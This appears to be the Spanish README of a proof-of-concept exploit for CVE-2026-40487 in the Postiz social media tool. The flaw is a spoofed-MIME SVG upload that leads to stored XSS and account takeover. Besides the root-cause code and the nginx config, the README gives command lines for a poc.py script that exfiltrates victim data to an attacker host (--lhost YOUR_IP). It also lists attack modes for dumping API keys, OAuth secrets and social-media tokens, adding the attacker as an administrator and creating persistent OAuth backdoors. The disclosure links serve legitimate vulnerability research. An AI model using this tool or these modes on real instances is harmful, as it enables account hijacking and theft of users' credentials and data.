
Prueba de concepto del exploit para CVE-2026-40487, que demuestra la carga arbitraria de archivos mediante la suplantación de MIME, lo que conduce a XSS almacenado y toma de control de la cuenta en Postiz. Incluye múltiples modos de ataque para la exfiltración de datos, escalada de privilegios y persistencia.
Descubierto y reportado por: Astaruf
Informe completo: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Entrada GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz es una herramienta de gestión de redes sociales de código abierto con más de 28 integraciones de plataformas (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilizada por más de 600 instancias expuestas en internet.
Un atacante con privilegios bajos puede subir un archivo SVG (o HTML) malicioso con una cabecera Content-Type: image/png falsificada. El servidor acepta el archivo sin inspeccionar su contenido real, conserva la extensión original, y nginx lo sirve con el Content-Type derivado de esa extensión (image/svg+xml). Cuando una víctima abre la URL, el JavaScript incrustado se ejecuta en el origen de la aplicación, otorgando al atacante capacidades completas de secuestro de sesión equivalentes a la toma de control de la cuenta.
La cadena de ataque:
Atacante sube .svg con Content-Type: image/png
-> El servidor valida solo la cabecera Content-Type (CWE-345)
-> El archivo se guarda en disco con la extensión .svg original (CWE-434)
-> nginx lo sirve como image/svg+xml
-> El navegador ejecuta el JavaScript incrustado (CWE-79)
-> Mismo origen: acceso completo a la sesión de la víctima
La carga útil XSS se ejecuta en el mismo origen que la aplicación. Aunque la cookie de autenticación es HttpOnly, fetch() con credentials: "include" la adjunta automáticamente. El atacante puede:
pos_* que nunca expira y sobrevive a cambios de contraseña)Tres componentes fallan de forma independiente, creando la cadena de explotación:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype proviene de la cabecera Content-Type en la solicitud multipart, que el atacante controla. No hay inspección de bytes mágicos, ni uso de librerías como file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrae la extensión del nombre de archivo proporcionado por el cliente. No hay verificación de coherencia entre el tipo MIME declarado y la extensión. El servidor también devuelve la URL pública completa en la respuesta, por lo que el atacante obtiene el enlace para enviarlo a la víctima.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx mapea .svg a image/svg+xml, .html a text/html. No hay Content-Security-Policy, ni X-Content-Type-Options: nosniff, ni Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Comprobar si el objetivo es vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Exfiltrar todo de la víctima
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Crear una puerta trasera persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Reutilizar el token sin credenciales
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Atacante Servidor Postiz Víctima
| | |
|-- 1. Login/Registro -------->| |
|-- 2. Subir SVG malicioso --->| |
|<---- URL del archivo --------| |
|-- 3. Enviar URL a la víctima ------------------------>|
| |<--- 4. Abre la URL ----|
| |--- SVG + JS ---------> |
|<-------------- 5. JS se ejecuta, exfiltra datos ------|
| Modo | Descripción |
|---|---|
dump-self | Perfil de la víctima, información de la organización, nivel, clave API |
dump-personal | Nombre mostrado, biografía, foto de perfil |
dump-integrations | Integraciones de redes sociales conectadas y tokens |
dump-posts | Publicaciones programadas y borradores (últimos 365 días) |
dump-team | Miembros del equipo, roles y direcciones de correo |
dump-media | Listado de la biblioteca de medios |
dump-notifications | Historial de notificaciones |
dump-signatures | Firmas de publicaciones |
dump-webhooks | Webhooks configurados y sus URLs |
dump-oauth-app | Credenciales de la aplicación OAuth (clientId, secret) |
dump-copilot | Hilos de conversación del copiloto IA |
dump-billing | Información de facturación y suscripción |
dump-settings | Configuración de enlaces cortos y notificaciones |
dump-third-party | Configuraciones de integraciones de terceros |
dump-autopost | Reglas de autopublicación |
dump-sets | Conjuntos de contenido |
dump-tags | Etiquetas de publicaciones |
dump-customers | Lista de clientes |
full-dump | Todo lo anterior en una sola carga útil |
| Modo | Descripción |
|---|---|
add-admin | Invitar al atacante como ADMIN en la organización de la víctima (--attacker-email) |
rotate-key | Rotar la clave API de la organización y exfiltrarla |
rotate-oauth | Rotar el secreto de la aplicación OAuth y exfiltrarlo |